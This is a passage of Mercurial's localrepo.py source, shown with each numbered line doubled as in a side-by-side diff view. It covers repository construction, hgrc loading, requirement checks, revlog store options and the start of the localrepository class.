621 features=features,
621 features=features,
622 wdirvfs=wdirvfs,
622 wdirvfs=wdirvfs,
623 hgvfs=hgvfs,
623 hgvfs=hgvfs,
624 store=store,
624 store=store,
625 storevfs=storevfs,
625 storevfs=storevfs,
626 storeoptions=storevfs.options,
626 storeoptions=storevfs.options,
627 cachevfs=cachevfs,
627 cachevfs=cachevfs,
628 wcachevfs=wcachevfs,
628 wcachevfs=wcachevfs,
629 extensionmodulenames=extensionmodulenames,
629 extensionmodulenames=extensionmodulenames,
630 extrastate=extrastate,
630 extrastate=extrastate,
631 baseclasses=bases,
631 baseclasses=bases,
632 )
632 )
633
633
634 if not isinstance(typ, type):
634 if not isinstance(typ, type):
635 raise error.ProgrammingError(
635 raise error.ProgrammingError(
636 b'unable to construct type for %s' % iface
636 b'unable to construct type for %s' % iface
637 )
637 )
638
638
639 bases.append(typ)
639 bases.append(typ)
640
640
641 # type() allows you to use characters in type names that wouldn't be
641 # type() allows you to use characters in type names that wouldn't be
642 # recognized as Python symbols in source code. We abuse that to add
642 # recognized as Python symbols in source code. We abuse that to add
643 # rich information about our constructed repo.
643 # rich information about our constructed repo.
644 name = pycompat.sysstr(
644 name = pycompat.sysstr(
645 b'derivedrepo:%s<%s>' % (wdirvfs.base, b','.join(sorted(requirements)))
645 b'derivedrepo:%s<%s>' % (wdirvfs.base, b','.join(sorted(requirements)))
646 )
646 )
647
647
648 cls = type(name, tuple(bases), {})
648 cls = type(name, tuple(bases), {})
649
649
650 return cls(
650 return cls(
651 baseui=baseui,
651 baseui=baseui,
652 ui=ui,
652 ui=ui,
653 origroot=path,
653 origroot=path,
654 wdirvfs=wdirvfs,
654 wdirvfs=wdirvfs,
655 hgvfs=hgvfs,
655 hgvfs=hgvfs,
656 requirements=requirements,
656 requirements=requirements,
657 supportedrequirements=supportedrequirements,
657 supportedrequirements=supportedrequirements,
658 sharedpath=storebasepath,
658 sharedpath=storebasepath,
659 store=store,
659 store=store,
660 cachevfs=cachevfs,
660 cachevfs=cachevfs,
661 wcachevfs=wcachevfs,
661 wcachevfs=wcachevfs,
662 features=features,
662 features=features,
663 intents=intents,
663 intents=intents,
664 )
664 )
665
665
666
666
667 def loadhgrc(ui, wdirvfs, hgvfs, requirements):
667 def loadhgrc(ui, wdirvfs, hgvfs, requirements):
668 """Load hgrc files/content into a ui instance.
668 """Load hgrc files/content into a ui instance.
669
669
670 This is called during repository opening to load any additional
670 This is called during repository opening to load any additional
671 config files or settings relevant to the current repository.
671 config files or settings relevant to the current repository.
672
672
673 Returns a bool indicating whether any additional configs were loaded.
673 Returns a bool indicating whether any additional configs were loaded.
674
674
675 Extensions should monkeypatch this function to modify how per-repo
675 Extensions should monkeypatch this function to modify how per-repo
676 configs are loaded. For example, an extension may wish to pull in
676 configs are loaded. For example, an extension may wish to pull in
677 configs from alternate files or sources.
677 configs from alternate files or sources.
678 """
678 """
679 try:
679 try:
680 ui.readconfig(hgvfs.join(b'hgrc'), root=wdirvfs.base)
680 ui.readconfig(hgvfs.join(b'hgrc'), root=wdirvfs.base)
681 return True
681 return True
682 except IOError:
682 except IOError:
683 return False
683 return False
684
684
685
685
686 def afterhgrcload(ui, wdirvfs, hgvfs, requirements):
686 def afterhgrcload(ui, wdirvfs, hgvfs, requirements):
687 """Perform additional actions after .hg/hgrc is loaded.
687 """Perform additional actions after .hg/hgrc is loaded.
688
688
689 This function is called during repository loading immediately after
689 This function is called during repository loading immediately after
690 the .hg/hgrc file is loaded and before per-repo extensions are loaded.
690 the .hg/hgrc file is loaded and before per-repo extensions are loaded.
691
691
692 The function can be used to validate configs, automatically add
692 The function can be used to validate configs, automatically add
693 options (including extensions) based on requirements, etc.
693 options (including extensions) based on requirements, etc.
694 """
694 """
695
695
696 # Map of requirements to list of extensions to load automatically when
696 # Map of requirements to list of extensions to load automatically when
697 # requirement is present.
697 # requirement is present.
698 autoextensions = {
698 autoextensions = {
699 b'largefiles': [b'largefiles'],
699 b'largefiles': [b'largefiles'],
700 b'lfs': [b'lfs'],
700 b'lfs': [b'lfs'],
701 }
701 }
702
702
703 for requirement, names in sorted(autoextensions.items()):
703 for requirement, names in sorted(autoextensions.items()):
704 if requirement not in requirements:
704 if requirement not in requirements:
705 continue
705 continue
706
706
707 for name in names:
707 for name in names:
708 if not ui.hasconfig(b'extensions', name):
708 if not ui.hasconfig(b'extensions', name):
709 ui.setconfig(b'extensions', name, b'', source=b'autoload')
709 ui.setconfig(b'extensions', name, b'', source=b'autoload')
710
710
711
711
712 def gathersupportedrequirements(ui):
712 def gathersupportedrequirements(ui):
713 """Determine the complete set of recognized requirements."""
713 """Determine the complete set of recognized requirements."""
714 # Start with all requirements supported by this file.
714 # Start with all requirements supported by this file.
715 supported = set(localrepository._basesupported)
715 supported = set(localrepository._basesupported)
716
716
717 # Execute ``featuresetupfuncs`` entries if they belong to an extension
717 # Execute ``featuresetupfuncs`` entries if they belong to an extension
718 # relevant to this ui instance.
718 # relevant to this ui instance.
719 modules = {m.__name__ for n, m in extensions.extensions(ui)}
719 modules = {m.__name__ for n, m in extensions.extensions(ui)}
720
720
721 for fn in featuresetupfuncs:
721 for fn in featuresetupfuncs:
722 if fn.__module__ in modules:
722 if fn.__module__ in modules:
723 fn(ui, supported)
723 fn(ui, supported)
724
724
725 # Add derived requirements from registered compression engines.
725 # Add derived requirements from registered compression engines.
726 for name in util.compengines:
726 for name in util.compengines:
727 engine = util.compengines[name]
727 engine = util.compengines[name]
728 if engine.available() and engine.revlogheader():
728 if engine.available() and engine.revlogheader():
729 supported.add(b'exp-compression-%s' % name)
729 supported.add(b'exp-compression-%s' % name)
730 if engine.name() == b'zstd':
730 if engine.name() == b'zstd':
731 supported.add(b'revlog-compression-zstd')
731 supported.add(b'revlog-compression-zstd')
732
732
733 return supported
733 return supported
734
734
735
735
736 def ensurerequirementsrecognized(requirements, supported):
736 def ensurerequirementsrecognized(requirements, supported):
737 """Validate that a set of local requirements is recognized.
737 """Validate that a set of local requirements is recognized.
738
738
739 Receives a set of requirements. Raises an ``error.RepoError`` if there
739 Receives a set of requirements. Raises an ``error.RepoError`` if there
740 exists any requirement in that set that currently loaded code doesn't
740 exists any requirement in that set that currently loaded code doesn't
741 recognize.
741 recognize.
742
742
743 Returns a set of supported requirements.
743 Returns a set of supported requirements.
744 """
744 """
745 missing = set()
745 missing = set()
746
746
747 for requirement in requirements:
747 for requirement in requirements:
748 if requirement in supported:
748 if requirement in supported:
749 continue
749 continue
750
750
751 if not requirement or not requirement[0:1].isalnum():
751 if not requirement or not requirement[0:1].isalnum():
752 raise error.RequirementError(_(b'.hg/requires file is corrupt'))
752 raise error.RequirementError(_(b'.hg/requires file is corrupt'))
753
753
754 missing.add(requirement)
754 missing.add(requirement)
755
755
756 if missing:
756 if missing:
757 raise error.RequirementError(
757 raise error.RequirementError(
758 _(b'repository requires features unknown to this Mercurial: %s')
758 _(b'repository requires features unknown to this Mercurial: %s')
759 % b' '.join(sorted(missing)),
759 % b' '.join(sorted(missing)),
760 hint=_(
760 hint=_(
761 b'see https://mercurial-scm.org/wiki/MissingRequirement '
761 b'see https://mercurial-scm.org/wiki/MissingRequirement '
762 b'for more information'
762 b'for more information'
763 ),
763 ),
764 )
764 )
765
765
766
766
767 def ensurerequirementscompatible(ui, requirements):
767 def ensurerequirementscompatible(ui, requirements):
768 """Validates that a set of recognized requirements is mutually compatible.
768 """Validates that a set of recognized requirements is mutually compatible.
769
769
770 Some requirements may not be compatible with others or require
770 Some requirements may not be compatible with others or require
771 config options that aren't enabled. This function is called during
771 config options that aren't enabled. This function is called during
772 repository opening to ensure that the set of requirements needed
772 repository opening to ensure that the set of requirements needed
773 to open a repository is sane and compatible with config options.
773 to open a repository is sane and compatible with config options.
774
774
775 Extensions can monkeypatch this function to perform additional
775 Extensions can monkeypatch this function to perform additional
776 checking.
776 checking.
777
777
778 ``error.RepoError`` should be raised on failure.
778 ``error.RepoError`` should be raised on failure.
779 """
779 """
780 if b'exp-sparse' in requirements and not sparse.enabled:
780 if b'exp-sparse' in requirements and not sparse.enabled:
781 raise error.RepoError(
781 raise error.RepoError(
782 _(
782 _(
783 b'repository is using sparse feature but '
783 b'repository is using sparse feature but '
784 b'sparse is not enabled; enable the '
784 b'sparse is not enabled; enable the '
785 b'"sparse" extensions to access'
785 b'"sparse" extensions to access'
786 )
786 )
787 )
787 )
788
788
789
789
790 def makestore(requirements, path, vfstype):
790 def makestore(requirements, path, vfstype):
791 """Construct a storage object for a repository."""
791 """Construct a storage object for a repository."""
792 if b'store' in requirements:
792 if b'store' in requirements:
793 if b'fncache' in requirements:
793 if b'fncache' in requirements:
794 return storemod.fncachestore(
794 return storemod.fncachestore(
795 path, vfstype, b'dotencode' in requirements
795 path, vfstype, b'dotencode' in requirements
796 )
796 )
797
797
798 return storemod.encodedstore(path, vfstype)
798 return storemod.encodedstore(path, vfstype)
799
799
800 return storemod.basicstore(path, vfstype)
800 return storemod.basicstore(path, vfstype)
801
801
802
802
803 def resolvestorevfsoptions(ui, requirements, features):
803 def resolvestorevfsoptions(ui, requirements, features):
804 """Resolve the options to pass to the store vfs opener.
804 """Resolve the options to pass to the store vfs opener.
805
805
806 The returned dict is used to influence behavior of the storage layer.
806 The returned dict is used to influence behavior of the storage layer.
807 """
807 """
808 options = {}
808 options = {}
809
809
810 if b'treemanifest' in requirements:
810 if b'treemanifest' in requirements:
811 options[b'treemanifest'] = True
811 options[b'treemanifest'] = True
812
812
813 # experimental config: format.manifestcachesize
813 # experimental config: format.manifestcachesize
814 manifestcachesize = ui.configint(b'format', b'manifestcachesize')
814 manifestcachesize = ui.configint(b'format', b'manifestcachesize')
815 if manifestcachesize is not None:
815 if manifestcachesize is not None:
816 options[b'manifestcachesize'] = manifestcachesize
816 options[b'manifestcachesize'] = manifestcachesize
817
817
818 # In the absence of another requirement superseding a revlog-related
818 # In the absence of another requirement superseding a revlog-related
819 # requirement, we have to assume the repo is using revlog version 0.
819 # requirement, we have to assume the repo is using revlog version 0.
820 # This revlog format is super old and we don't bother trying to parse
820 # This revlog format is super old and we don't bother trying to parse
821 # opener options for it because those options wouldn't do anything
821 # opener options for it because those options wouldn't do anything
822 # meaningful on such old repos.
822 # meaningful on such old repos.
823 if b'revlogv1' in requirements or REVLOGV2_REQUIREMENT in requirements:
823 if b'revlogv1' in requirements or REVLOGV2_REQUIREMENT in requirements:
824 options.update(resolverevlogstorevfsoptions(ui, requirements, features))
824 options.update(resolverevlogstorevfsoptions(ui, requirements, features))
825 else: # explicitly mark repo as using revlogv0
825 else: # explicitly mark repo as using revlogv0
826 options[b'revlogv0'] = True
826 options[b'revlogv0'] = True
827
827
828 if COPIESSDC_REQUIREMENT in requirements:
828 if COPIESSDC_REQUIREMENT in requirements:
829 options[b'copies-storage'] = b'changeset-sidedata'
829 options[b'copies-storage'] = b'changeset-sidedata'
830 else:
830 else:
831 writecopiesto = ui.config(b'experimental', b'copies.write-to')
831 writecopiesto = ui.config(b'experimental', b'copies.write-to')
832 copiesextramode = (b'changeset-only', b'compatibility')
832 copiesextramode = (b'changeset-only', b'compatibility')
833 if writecopiesto in copiesextramode:
833 if writecopiesto in copiesextramode:
834 options[b'copies-storage'] = b'extra'
834 options[b'copies-storage'] = b'extra'
835
835
836 return options
836 return options
837
837
838
838
839 def resolverevlogstorevfsoptions(ui, requirements, features):
839 def resolverevlogstorevfsoptions(ui, requirements, features):
840 """Resolve opener options specific to revlogs."""
840 """Resolve opener options specific to revlogs."""
841
841
842 options = {}
842 options = {}
843 options[b'flagprocessors'] = {}
843 options[b'flagprocessors'] = {}
844
844
845 if b'revlogv1' in requirements:
845 if b'revlogv1' in requirements:
846 options[b'revlogv1'] = True
846 options[b'revlogv1'] = True
847 if REVLOGV2_REQUIREMENT in requirements:
847 if REVLOGV2_REQUIREMENT in requirements:
848 options[b'revlogv2'] = True
848 options[b'revlogv2'] = True
849
849
850 if b'generaldelta' in requirements:
850 if b'generaldelta' in requirements:
851 options[b'generaldelta'] = True
851 options[b'generaldelta'] = True
852
852
853 # experimental config: format.chunkcachesize
853 # experimental config: format.chunkcachesize
854 chunkcachesize = ui.configint(b'format', b'chunkcachesize')
854 chunkcachesize = ui.configint(b'format', b'chunkcachesize')
855 if chunkcachesize is not None:
855 if chunkcachesize is not None:
856 options[b'chunkcachesize'] = chunkcachesize
856 options[b'chunkcachesize'] = chunkcachesize
857
857
858 deltabothparents = ui.configbool(
858 deltabothparents = ui.configbool(
859 b'storage', b'revlog.optimize-delta-parent-choice'
859 b'storage', b'revlog.optimize-delta-parent-choice'
860 )
860 )
861 options[b'deltabothparents'] = deltabothparents
861 options[b'deltabothparents'] = deltabothparents
862
862
863 lazydelta = ui.configbool(b'storage', b'revlog.reuse-external-delta')
863 lazydelta = ui.configbool(b'storage', b'revlog.reuse-external-delta')
864 lazydeltabase = False
864 lazydeltabase = False
865 if lazydelta:
865 if lazydelta:
866 lazydeltabase = ui.configbool(
866 lazydeltabase = ui.configbool(
867 b'storage', b'revlog.reuse-external-delta-parent'
867 b'storage', b'revlog.reuse-external-delta-parent'
868 )
868 )
869 if lazydeltabase is None:
869 if lazydeltabase is None:
870 lazydeltabase = not scmutil.gddeltaconfig(ui)
870 lazydeltabase = not scmutil.gddeltaconfig(ui)
871 options[b'lazydelta'] = lazydelta
871 options[b'lazydelta'] = lazydelta
872 options[b'lazydeltabase'] = lazydeltabase
872 options[b'lazydeltabase'] = lazydeltabase
873
873
874 chainspan = ui.configbytes(b'experimental', b'maxdeltachainspan')
874 chainspan = ui.configbytes(b'experimental', b'maxdeltachainspan')
875 if 0 <= chainspan:
875 if 0 <= chainspan:
876 options[b'maxdeltachainspan'] = chainspan
876 options[b'maxdeltachainspan'] = chainspan
877
877
878 mmapindexthreshold = ui.configbytes(b'experimental', b'mmapindexthreshold')
878 mmapindexthreshold = ui.configbytes(b'experimental', b'mmapindexthreshold')
879 if mmapindexthreshold is not None:
879 if mmapindexthreshold is not None:
880 options[b'mmapindexthreshold'] = mmapindexthreshold
880 options[b'mmapindexthreshold'] = mmapindexthreshold
881
881
882 withsparseread = ui.configbool(b'experimental', b'sparse-read')
882 withsparseread = ui.configbool(b'experimental', b'sparse-read')
883 srdensitythres = float(
883 srdensitythres = float(
884 ui.config(b'experimental', b'sparse-read.density-threshold')
884 ui.config(b'experimental', b'sparse-read.density-threshold')
885 )
885 )
886 srmingapsize = ui.configbytes(b'experimental', b'sparse-read.min-gap-size')
886 srmingapsize = ui.configbytes(b'experimental', b'sparse-read.min-gap-size')
887 options[b'with-sparse-read'] = withsparseread
887 options[b'with-sparse-read'] = withsparseread
888 options[b'sparse-read-density-threshold'] = srdensitythres
888 options[b'sparse-read-density-threshold'] = srdensitythres
889 options[b'sparse-read-min-gap-size'] = srmingapsize
889 options[b'sparse-read-min-gap-size'] = srmingapsize
890
890
891 sparserevlog = SPARSEREVLOG_REQUIREMENT in requirements
891 sparserevlog = SPARSEREVLOG_REQUIREMENT in requirements
892 options[b'sparse-revlog'] = sparserevlog
892 options[b'sparse-revlog'] = sparserevlog
893 if sparserevlog:
893 if sparserevlog:
894 options[b'generaldelta'] = True
894 options[b'generaldelta'] = True
895
895
896 sidedata = SIDEDATA_REQUIREMENT in requirements
896 sidedata = SIDEDATA_REQUIREMENT in requirements
897 options[b'side-data'] = sidedata
897 options[b'side-data'] = sidedata
898
898
899 maxchainlen = None
899 maxchainlen = None
900 if sparserevlog:
900 if sparserevlog:
901 maxchainlen = revlogconst.SPARSE_REVLOG_MAX_CHAIN_LENGTH
901 maxchainlen = revlogconst.SPARSE_REVLOG_MAX_CHAIN_LENGTH
902 # experimental config: format.maxchainlen
902 # experimental config: format.maxchainlen
903 maxchainlen = ui.configint(b'format', b'maxchainlen', maxchainlen)
903 maxchainlen = ui.configint(b'format', b'maxchainlen', maxchainlen)
904 if maxchainlen is not None:
904 if maxchainlen is not None:
905 options[b'maxchainlen'] = maxchainlen
905 options[b'maxchainlen'] = maxchainlen
906
906
907 for r in requirements:
907 for r in requirements:
908 # we allow multiple compression engine requirement to co-exist because
908 # we allow multiple compression engine requirement to co-exist because
909 # strickly speaking, revlog seems to support mixed compression style.
909 # strickly speaking, revlog seems to support mixed compression style.
910 #
910 #
911 # The compression used for new entries will be "the last one"
911 # The compression used for new entries will be "the last one"
912 prefix = r.startswith
912 prefix = r.startswith
913 if prefix(b'revlog-compression-') or prefix(b'exp-compression-'):
913 if prefix(b'revlog-compression-') or prefix(b'exp-compression-'):
914 options[b'compengine'] = r.split(b'-', 2)[2]
914 options[b'compengine'] = r.split(b'-', 2)[2]
915
915
916 options[b'zlib.level'] = ui.configint(b'storage', b'revlog.zlib.level')
916 options[b'zlib.level'] = ui.configint(b'storage', b'revlog.zlib.level')
917 if options[b'zlib.level'] is not None:
917 if options[b'zlib.level'] is not None:
918 if not (0 <= options[b'zlib.level'] <= 9):
918 if not (0 <= options[b'zlib.level'] <= 9):
919 msg = _(b'invalid value for `storage.revlog.zlib.level` config: %d')
919 msg = _(b'invalid value for `storage.revlog.zlib.level` config: %d')
920 raise error.Abort(msg % options[b'zlib.level'])
920 raise error.Abort(msg % options[b'zlib.level'])
921 options[b'zstd.level'] = ui.configint(b'storage', b'revlog.zstd.level')
921 options[b'zstd.level'] = ui.configint(b'storage', b'revlog.zstd.level')
922 if options[b'zstd.level'] is not None:
922 if options[b'zstd.level'] is not None:
923 if not (0 <= options[b'zstd.level'] <= 22):
923 if not (0 <= options[b'zstd.level'] <= 22):
924 msg = _(b'invalid value for `storage.revlog.zstd.level` config: %d')
924 msg = _(b'invalid value for `storage.revlog.zstd.level` config: %d')
925 raise error.Abort(msg % options[b'zstd.level'])
925 raise error.Abort(msg % options[b'zstd.level'])
926
926
927 if repository.NARROW_REQUIREMENT in requirements:
927 if repository.NARROW_REQUIREMENT in requirements:
928 options[b'enableellipsis'] = True
928 options[b'enableellipsis'] = True
929
929
930 if ui.configbool(b'experimental', b'rust.index'):
930 if ui.configbool(b'experimental', b'rust.index'):
931 options[b'rust.index'] = True
931 options[b'rust.index'] = True
932
932
933 return options
933 return options
934
934
935
935
936 def makemain(**kwargs):
936 def makemain(**kwargs):
937 """Produce a type conforming to ``ilocalrepositorymain``."""
937 """Produce a type conforming to ``ilocalrepositorymain``."""
938 return localrepository
938 return localrepository
939
939
940
940
941 @interfaceutil.implementer(repository.ilocalrepositoryfilestorage)
941 @interfaceutil.implementer(repository.ilocalrepositoryfilestorage)
942 class revlogfilestorage(object):
942 class revlogfilestorage(object):
943 """File storage when using revlogs."""
943 """File storage when using revlogs."""
944
944
945 def file(self, path):
945 def file(self, path):
946 if path[0] == b'/':
946 if path[0] == b'/':
947 path = path[1:]
947 path = path[1:]
948
948
949 return filelog.filelog(self.svfs, path)
949 return filelog.filelog(self.svfs, path)
950
950
951
951
952 @interfaceutil.implementer(repository.ilocalrepositoryfilestorage)
952 @interfaceutil.implementer(repository.ilocalrepositoryfilestorage)
953 class revlognarrowfilestorage(object):
953 class revlognarrowfilestorage(object):
954 """File storage when using revlogs and narrow files."""
954 """File storage when using revlogs and narrow files."""
955
955
956 def file(self, path):
956 def file(self, path):
957 if path[0] == b'/':
957 if path[0] == b'/':
958 path = path[1:]
958 path = path[1:]
959
959
960 return filelog.narrowfilelog(self.svfs, path, self._storenarrowmatch)
960 return filelog.narrowfilelog(self.svfs, path, self._storenarrowmatch)
961
961
962
962
963 def makefilestorage(requirements, features, **kwargs):
963 def makefilestorage(requirements, features, **kwargs):
964 """Produce a type conforming to ``ilocalrepositoryfilestorage``."""
964 """Produce a type conforming to ``ilocalrepositoryfilestorage``."""
965 features.add(repository.REPO_FEATURE_REVLOG_FILE_STORAGE)
965 features.add(repository.REPO_FEATURE_REVLOG_FILE_STORAGE)
966 features.add(repository.REPO_FEATURE_STREAM_CLONE)
966 features.add(repository.REPO_FEATURE_STREAM_CLONE)
967
967
968 if repository.NARROW_REQUIREMENT in requirements:
968 if repository.NARROW_REQUIREMENT in requirements:
969 return revlognarrowfilestorage
969 return revlognarrowfilestorage
970 else:
970 else:
971 return revlogfilestorage
971 return revlogfilestorage
972
972
973
973
974 # List of repository interfaces and factory functions for them. Each
974 # List of repository interfaces and factory functions for them. Each
975 # will be called in order during ``makelocalrepository()`` to iteratively
975 # will be called in order during ``makelocalrepository()`` to iteratively
976 # derive the final type for a local repository instance. We capture the
976 # derive the final type for a local repository instance. We capture the
977 # function as a lambda so we don't hold a reference and the module-level
977 # function as a lambda so we don't hold a reference and the module-level
978 # functions can be wrapped.
978 # functions can be wrapped.
979 REPO_INTERFACES = [
979 REPO_INTERFACES = [
980 (repository.ilocalrepositorymain, lambda: makemain),
980 (repository.ilocalrepositorymain, lambda: makemain),
981 (repository.ilocalrepositoryfilestorage, lambda: makefilestorage),
981 (repository.ilocalrepositoryfilestorage, lambda: makefilestorage),
982 ]
982 ]
983
983
984
984
985 @interfaceutil.implementer(repository.ilocalrepositorymain)
985 @interfaceutil.implementer(repository.ilocalrepositorymain)
986 class localrepository(object):
986 class localrepository(object):
987 """Main class for representing local repositories.
987 """Main class for representing local repositories.
988
988
989 All local repositories are instances of this class.
989 All local repositories are instances of this class.
990
990
991 Constructed on its own, instances of this class are not usable as
991 Constructed on its own, instances of this class are not usable as
992 repository objects. To obtain a usable repository object, call
992 repository objects. To obtain a usable repository object, call
993 ``hg.repository()``, ``localrepo.instance()``, or
993 ``hg.repository()``, ``localrepo.instance()``, or
994 ``localrepo.makelocalrepository()``. The latter is the lowest-level.
994 ``localrepo.makelocalrepository()``. The latter is the lowest-level.
995 ``instance()`` adds support for creating new repositories.
995 ``instance()`` adds support for creating new repositories.
996 ``hg.repository()`` adds more extension integration, including calling
996 ``hg.repository()`` adds more extension integration, including calling
997 ``reposetup()``. Generally speaking, ``hg.repository()`` should be
997 ``reposetup()``. Generally speaking, ``hg.repository()`` should be
998 used.
998 used.
999 """
999 """
1000
1000
1001 # obsolete experimental requirements:
1001 # obsolete experimental requirements:
1002 # - manifestv2: An experimental new manifest format that allowed
1002 # - manifestv2: An experimental new manifest format that allowed
1003 # for stem compression of long paths. Experiment ended up not
1003 # for stem compression of long paths. Experiment ended up not
1004 # being successful (repository sizes went up due to worse delta
1004 # being successful (repository sizes went up due to worse delta
1005 # chains), and the code was deleted in 4.6.
1005 # chains), and the code was deleted in 4.6.
1006 supportedformats = {
1006 supportedformats = {
1007 b'revlogv1',
1007 b'revlogv1',
1008 b'generaldelta',
1008 b'generaldelta',
1009 b'treemanifest',
1009 b'treemanifest',
1010 COPIESSDC_REQUIREMENT,
1010 COPIESSDC_REQUIREMENT,
1011 REVLOGV2_REQUIREMENT,
1011 REVLOGV2_REQUIREMENT,
1012 SIDEDATA_REQUIREMENT,
1012 SIDEDATA_REQUIREMENT,
1013 SPARSEREVLOG_REQUIREMENT,
1013 SPARSEREVLOG_REQUIREMENT,
1014 bookmarks.BOOKMARKS_IN_STORE_REQUIREMENT,
1014 bookmarks.BOOKMARKS_IN_STORE_REQUIREMENT,
1015 }
1015 }
1016 _basesupported = supportedformats | {
1016 _basesupported = supportedformats | {
1017 b'store',
1017 b'store',
1018 b'fncache',
1018 b'fncache',
1019 b'shared',
1019 b'shared',
1020 b'relshared',
1020 b'relshared',
1021 b'dotencode',
1021 b'dotencode',
1022 b'exp-sparse',
1022 b'exp-sparse',
1023 b'internal-phase',
1023 b'internal-phase',
1024 }
1024 }
1025
1025
1026 # list of prefix for file which can be written without 'wlock'
1026 # list of prefix for file which can be written without 'wlock'
1027 # Extensions should extend this list when needed
1027 # Extensions should extend this list when needed
1028 _wlockfreeprefix = {
1028 _wlockfreeprefix = {
1029 # We migh consider requiring 'wlock' for the next
1029 # We migh consider requiring 'wlock' for the next
1030 # two, but pretty much all the existing code assume
1030 # two, but pretty much all the existing code assume
1031 # wlock is not needed so we keep them excluded for
1031 # wlock is not needed so we keep them excluded for
1032 # now.
1032 # now.
1033 b'hgrc',
1033 b'hgrc',
1034 b'requires',
1034 b'requires',
1035 # XXX cache is a complicatged business someone
1035 # XXX cache is a complicatged business someone
1036 # should investigate this in depth at some point
1036 # should investigate this in depth at some point
1037 b'cache/',
1037 b'cache/',
1038 # XXX shouldn't be dirstate covered by the wlock?
1038 # XXX shouldn't be dirstate covered by the wlock?
1039 b'dirstate',
1039 b'dirstate',
1040 # XXX bisect was still a bit too messy at the time
1040 # XXX bisect was still a bit too messy at the time
1041 # this changeset was introduced. Someone should fix
1041 # this changeset was introduced. Someone should fix
1042 # the remainig bit and drop this line
1042 # the remainig bit and drop this line
1043 b'bisect.state',
1043 b'bisect.state',
1044 }
1044 }
1045
1045
1046 def __init__(
1046 def __init__(
1047 self,
1047 self,
1048 baseui,
1048 baseui,
1049 ui,
1049 ui,
1050 origroot,
1050 origroot,
1051 wdirvfs,
1051 wdirvfs,
1052 hgvfs,
1052 hgvfs,
1053 requirements,
1053 requirements,
1054 supportedrequirements,
1054 supportedrequirements,
1055 sharedpath,
1055 sharedpath,
1056 store,
1056 store,
1057 cachevfs,
1057 cachevfs,
1058 wcachevfs,
1058 wcachevfs,
1059 features,
1059 features,
1060 intents=None,
1060 intents=None,
1061 ):
1061 ):
1062 """Create a new local repository instance.
1062 """Create a new local repository instance.
1063
1063
1064 Most callers should use ``hg.repository()``, ``localrepo.instance()``,
1064 Most callers should use ``hg.repository()``, ``localrepo.instance()``,
1065 or ``localrepo.makelocalrepository()`` for obtaining a new repository
1065 or ``localrepo.makelocalrepository()`` for obtaining a new repository
1066 object.
1066 object.
1067
1067
1068 Arguments:
1068 Arguments:
1069
1069
1070 baseui
1070 baseui
1071 ``ui.ui`` instance that ``ui`` argument was based off of.
1071 ``ui.ui`` instance that ``ui`` argument was based off of.
1072
1072
1073 ui
1073 ui
1074 ``ui.ui`` instance for use by the repository.
1074 ``ui.ui`` instance for use by the repository.
1075
1075
1076 origroot
1076 origroot
1077 ``bytes`` path to working directory root of this repository.
1077 ``bytes`` path to working directory root of this repository.
1078
1078
1079 wdirvfs
1079 wdirvfs
1080 ``vfs.vfs`` rooted at the working directory.
1080 ``vfs.vfs`` rooted at the working directory.
1081
1081
1082 hgvfs
1082 hgvfs
1083 ``vfs.vfs`` rooted at .hg/
1083 ``vfs.vfs`` rooted at .hg/
1084
1084
1085 requirements
1085 requirements
1086 ``set`` of bytestrings representing repository opening requirements.
1086 ``set`` of bytestrings representing repository opening requirements.
1087
1087
1088 supportedrequirements
1088 supportedrequirements
1089 ``set`` of bytestrings representing repository requirements that we
1089 ``set`` of bytestrings representing repository requirements that we
1090 know how to open. May be a supetset of ``requirements``.
1090 know how to open. May be a supetset of ``requirements``.
1091
1091
1092 sharedpath
1092 sharedpath
1093 ``bytes`` Defining path to storage base directory. Points to a
1093 ``bytes`` Defining path to storage base directory. Points to a
1094 ``.hg/`` directory somewhere.
1094 ``.hg/`` directory somewhere.
1095
1095
1096 store
1096 store
1097 ``store.basicstore`` (or derived) instance providing access to
1097 ``store.basicstore`` (or derived) instance providing access to
1098 versioned storage.
1098 versioned storage.
1099
1099
1100 cachevfs
1100 cachevfs
1101 ``vfs.vfs`` used for cache files.
1101 ``vfs.vfs`` used for cache files.
1102
1102
1103 wcachevfs
1103 wcachevfs
1104 ``vfs.vfs`` used for cache files related to the working copy.
1104 ``vfs.vfs`` used for cache files related to the working copy.
1105
1105
1106 features
1106 features
1107 ``set`` of bytestrings defining features/capabilities of this
1107 ``set`` of bytestrings defining features/capabilities of this
1108 instance.
1108 instance.
1109
1109
1110 intents
1110 intents
1111 ``set`` of system strings indicating what this repo will be used
1111 ``set`` of system strings indicating what this repo will be used
1112 for.
1112 for.
1113 """
1113 """
1114 self.baseui = baseui
1114 self.baseui = baseui
1115 self.ui = ui
1115 self.ui = ui
1116 self.origroot = origroot
1116 self.origroot = origroot
1117 # vfs rooted at working directory.
1117 # vfs rooted at working directory.
1118 self.wvfs = wdirvfs
1118 self.wvfs = wdirvfs
1119 self.root = wdirvfs.base
1119 self.root = wdirvfs.base
1120 # vfs rooted at .hg/. Used to access most non-store paths.
1120 # vfs rooted at .hg/. Used to access most non-store paths.
1121 self.vfs = hgvfs
1121 self.vfs = hgvfs
1122 self.path = hgvfs.base
1122 self.path = hgvfs.base
1123 self.requirements = requirements
1123 self.requirements = requirements
1124 self.supported = supportedrequirements
1124 self.supported = supportedrequirements
1125 self.sharedpath = sharedpath
1125 self.sharedpath = sharedpath
1126 self.store = store
1126 self.store = store
1127 self.cachevfs = cachevfs
1127 self.cachevfs = cachevfs
1128 self.wcachevfs = wcachevfs
1128 self.wcachevfs = wcachevfs
1129 self.features = features
1129 self.features = features
1130
1130
1131 self.filtername = None
1131 self.filtername = None
1132
1132
1133 if self.ui.configbool(b'devel', b'all-warnings') or self.ui.configbool(
1133 if self.ui.configbool(b'devel', b'all-warnings') or self.ui.configbool(
1134 b'devel', b'check-locks'
1134 b'devel', b'check-locks'
1135 ):
1135 ):
1136 self.vfs.audit = self._getvfsward(self.vfs.audit)
1136 self.vfs.audit = self._getvfsward(self.vfs.audit)
1137 # A list of callback to shape the phase if no data were found.
1137 # A list of callback to shape the phase if no data were found.
1138 # Callback are in the form: func(repo, roots) --> processed root.
1138 # Callback are in the form: func(repo, roots) --> processed root.
1139 # This list it to be filled by extension during repo setup
1139 # This list it to be filled by extension during repo setup
1140 self._phasedefaults = []
1140 self._phasedefaults = []
1141
1141
1142 color.setup(self.ui)
1142 color.setup(self.ui)
1143
1143
1144 self.spath = self.store.path
1144 self.spath = self.store.path
1145 self.svfs = self.store.vfs
1145 self.svfs = self.store.vfs
1146 self.sjoin = self.store.join
1146 self.sjoin = self.store.join
1147 if self.ui.configbool(b'devel', b'all-warnings') or self.ui.configbool(
